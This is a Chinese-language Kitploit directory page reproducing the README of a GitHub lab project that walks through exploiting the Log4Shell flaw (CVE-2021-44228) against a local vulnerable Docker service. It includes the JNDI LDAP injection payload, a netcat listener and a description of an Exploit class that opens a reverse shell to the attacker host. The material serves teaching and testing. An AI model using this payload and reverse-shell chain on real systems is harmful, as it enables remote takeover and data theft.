Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j-vulnerability — 介绍如何利用CVE-2021-44228漏洞。 | Kitploit
工具/GitHubGitHub/marceloleite2604/log4j-vulnerability
漏洞分析漏洞利用Web应用程序漏洞利用命令与控制学习与教育远程访问工具Payload 开发实验室与实践
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

介绍如何利用CVE-2021-44228漏洞。

查看仓库
14年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

LOG4J 漏洞

一个基于 Java 的项目,演示如何利用 CVE-2021-44228 漏洞。

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

环境要求

  • 基于 Linux 的操作系统:我使用的是 Ubuntu Desktop 20.10 64 位
  • OpenJDK 17.0.1:用于构建利用程序。更新的版本也可能可用。
  • Oracle Java Development Kit (JDK) 1.8.0_181:这是利用能够成功所_必需_的。不要求安装,但项目需要将其解压到根目录。JDK 可在 Oracle Java SE 8 存档下载(JDK 8u202 及更早版本)页面 找到。
  • Apache Maven 3.6.3:用于管理依赖并生成 jar 文件。更新的版本也可能可用。
  • Docker 20.10.12:用于管理包含待利用服务的容器。更新的版本也可能可用。
  • Docker-compose 1.29.2:用于协助编排镜像生成以及容器的创建、执行和移除。更新的版本也可能可用。
  • GNU Make 4.3:本项目使用 Makefile 来帮助验证和生成必需文件。更新的版本也可能可用。
  • OpenBSD Netcat(又名 nc):用于与目标服务器建立通信。此包可通过你的 Linux 发行版的包管理器(如 apt)安装。
  • (推荐)IntelliJ IDEA Community Edition 2021.3.1:如果你想了解这些项目的内部实现,我推荐安装此 IDE。同样,更新的版本也可能可用。

执行

  1. 将本仓库克隆到本地机器。
  2. 从 Oracle Java SE 8 存档下载(JDK 8u202 及更早版本)页面 下载并解压到项目根目录。请将其存放在解压时创建的 jdk1.8.0_181 目录中。
  3. 运行 make all 构建所有项目,并创建一个带有易受攻击服务的 Docker 镜像。
  4. 打开三个终端并运行以下命令:
    1. 第一个终端:make start-vulnerable-service 启动一个运行待利用服务的 Docker 容器。该服务将通过本机 8080 端口访问。
    2. 第二个终端:make start-nc 启动一个 TCP 监听器,等待与目标服务器建立连接。
    3. 第三个终端:make start-exploiter 启动帮助我们利用漏洞的程序。
  5. 启动第三个终端后,利用程序将显示一个可访问的 URL。将其粘贴到浏览器中以开始利用。
  6. 如果一切按预期进行,浏览器将收不到响应,并会一直处于加载状态。
  7. 现在查看第二个终端(执行了 make start-nc 的那个)。你可能会收到类似 Connection received on 172.24.0.2 46638 的消息(IP 地址和 TCP 端口可能与此处显示的不同)。这意味着利用成功,我们现在已经获得一个连接到服务器/Docker 容器上的 shell。
  8. 为了确认一切是否按预期发生,尝试执行 whoami 命令。你可能会收到输出 root。
  9. 现在尝试运行 cat ../private-directory/my-secret-file.txt,看看会发生什么。🙂

它是如何工作的?

在回答这个问题之前,让我们先看看整个流程中创建的各个进程。

log4j 漏洞相关进程

Docker 容器

这个 Docker 容器将提供一个简单的 HTTP 服务,负责接收 /log 路径上带有 input 参数的 GET 请求。收到请求后,它会将输入记录到控制台。

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

为了利用该漏洞,需要一些特定的配置:

  • 运行服务所使用的 Java 运行时环境(JRE)版本为 1.8.0_181。这对于允许从外部服务加载 Java 类是必要的。
  • 必须对 Java 项目依赖进行大量修改,以将默认的 spring-boot-starter-logging:2.6.1 替换为 spring-boot-starter-log4j2:2.6.1。后者会为项目引入 log4j-core:2.14.1,这是一个受 CVE-2021-44228 影响的版本。

依赖树

  • 服务的 Jar 文件是使用 Java 编译器 1.8.0_181 版本构建的。

Netcat (nc) 程序

这里没有太多需要解释或调整的东西。它是一个通过 TCP 和 UDP 协议读写数据的简单程序。我们将使用它持续监听 9001 端口上的入站 TCP 连接(其他程序会在服务器端为我们打开这个连接。😉)。

一旦连接建立,所有接收到的数据都会输出到控制台。同时,你输入的所有内容也会通过该连接发送。

Exploiter 程序

现在,有趣的部分开始了!

该程序封装了利用漏洞所需的多个步骤。让我们来逐一分解:

执行参数

要运行该程序,我们需要提供三个参数:

  1. HTTP 服务器和 Netcat 的 IP 地址/主机: 为了利用漏洞,我们需要一个从易受攻击服务可访问的 HTTP 服务器 IP 地址,这样我们的 LDAP 响应才能重定向它去下载编译后的 Java 类。Java 类本身也会使用这个 IP 地址与 Netcat 建立 TCP 连接(如前所述)。
  2. HTTP 服务器端口: 负责发送编译后 Java 类的 HTTP 服务器将接受连接的端口。该端口也会随 LDAP 响应一起发送,以告知从哪个端口下载编译后的 Java 类。
  3. Netcat 端口: Netcat 监听连接的端口。编译后的 Java 类将使用该端口与 Netcat 建立 TCP 连接。

Exploit Java 类

程序启动后,会基于模板生成一段 Java 代码。该模板需要两个参数:Netcat 的 IP 地址和端口。

代码编写完成后,程序将使用 Java 编译器(javac)版本 1.8.0_181 将其编译为二进制类文件。这一点很重要,可以保持与被利用服务相同的代码版本。

Exploit Java 类的结构相当简单。在它的构造函数中,有一条指令请求操作系统创建一个 shell 程序。创建完成后,该类打开与 Netcat 的 TCP 连接,将 shell 与 TCP 连接的输入输出绑定,并将 Java 虚拟机的执行困在一个循环中,直到连接被 Netcat 关闭。一旦退出循环,构造函数就会继续执行,仿佛什么都没发生过。

Marshalsec 程序

Exploiter 会打开一个子进程,请求执行 Marshalsec Java 程序。Marshalsec 程序可在 mbechler/marchalsec Github 项目 中找到。

除其他功能外,它还管理 LDAP 请求,并可用于要求传入的连接通过从外部源下载 Java 类来解析请求。在我们的场景中,我们将使用它来要求传入的连接从 HTTP 服务下载我们的 Exploit Java 类。

HTTP 服务

一旦 Exploiter 程序创建了被做过手脚的 Java 类,它就会启动一个只有单一响应的 HTTP 服务:返回 Exploit 二进制 Java 类。

简而言之,当易受攻击的服务请求加载外部类时,该服务会读取 Java 类二进制文件并将其发送回易受攻击的服务。就这么简单!

一个 HTTP 请求搞定一切

当一切就绪并运行后,程序将输出触发利用所需的 HTTP 请求。只需将其复制粘贴到你喜欢的浏览器中,或通过终端 curl 执行,哪种方式对你最方便就用哪种!

请求将类似于:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

由于查询参数包含特殊字符,需要对其进行编码,浏览器才能接受。如果我们对其进行解码,消息将是:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

通信流程

下面是请求发送后所发生事情的简化示意图:

log4j 漏洞通信流程

我将尝试用这张图来解释接下来会发生什么:

  • 浏览器将向我们的易受攻击服务发送 HTTP 请求。
  • 易受攻击的服务将接受请求并记录用户输入。
  • log4j 收到消息后,会注意到其中包含需要解析的内容:${jndi:ldap://host.docker.internal:1389/a}。
  • 根据该值,需要通过 LDAP 协议从 host.docker.internal:1389 使用 a 键检索要呈现的内容(这是一个相当无聊且无效的 LDAP 专有名称,但嘿,只要能用就行……)。然后 log4j 会向该地址发送请求,意图检索该值。

说明: host.docker.internal 是 Docker 服务用于访问其所在物理机的有效地址。

  • 然后,Marshalsec 程序(在本机 1389 端口运行)将接受传入的请求,并要求易受攻击的服务下载位于 host.docker.internal:8000、名为 Exploit 的 Java 类文件来解析该请求。
  • 接着 log4j 向 host.docker.internal:8000 发送请求,要求获取 /Exploit 路径下的资源。
  • HTTP 服务(在本机 8000 端口运行)随后将响应请求,发送 Exploit 二进制 Java 类。
  • log4j 随后尝试实例化该类,通过执行其 Exploit() 构造函数方法来解析变量。
  • Exploit() 构造函数方法在服务器上启动一个 shell 程序,并请求与 host.docker.internal:9001 打开一个 TCP 通道。
  • 然后,Netcat(在本机 9001 端口运行)接受传入的 TCP 连接。
  • 接着,Exploit() 构造函数方法会将 shell 的输入输出与 TCP 连接绑定,并将 Java 虚拟机线程困在一个循环中,直到连接的另一端关闭该 TCP 连接。
  • 现在可以使用 Netcat 发送 shell 命令并接收来自服务器的输出了。

注意事项

TBD

参考资料

kozmer/log4j-shell-poc Github 项目 - 它帮助我理解了利用的工作原理。感谢所有为该项目做出贡献的人!

mbechler/marchalsec Github 项目 - 没有这个项目,我不可能这么快搞定 LDAP 通信和重定向。谢谢各位!

SrcCodes Log4j 漏洞视频 - 一个讲解得很好的视频,介绍了如何在基于 Spring 的程序上开始漏洞利用。

Nowcomm CVE-2021-44228 漏洞利用演示视频 - 一个很好的视频,解释了如何在 Apache Solr 上利用 CVE-2021-44228。我不得不好好看后半小时的内容,看了大概十几遍才明白到底发生了什么!😛

下载工具
  • 当你完成对服务器的破坏操作后,按 CTRL+C 关闭连接。
  • 你也可以在其他终端按 CTRL+C 中断进程。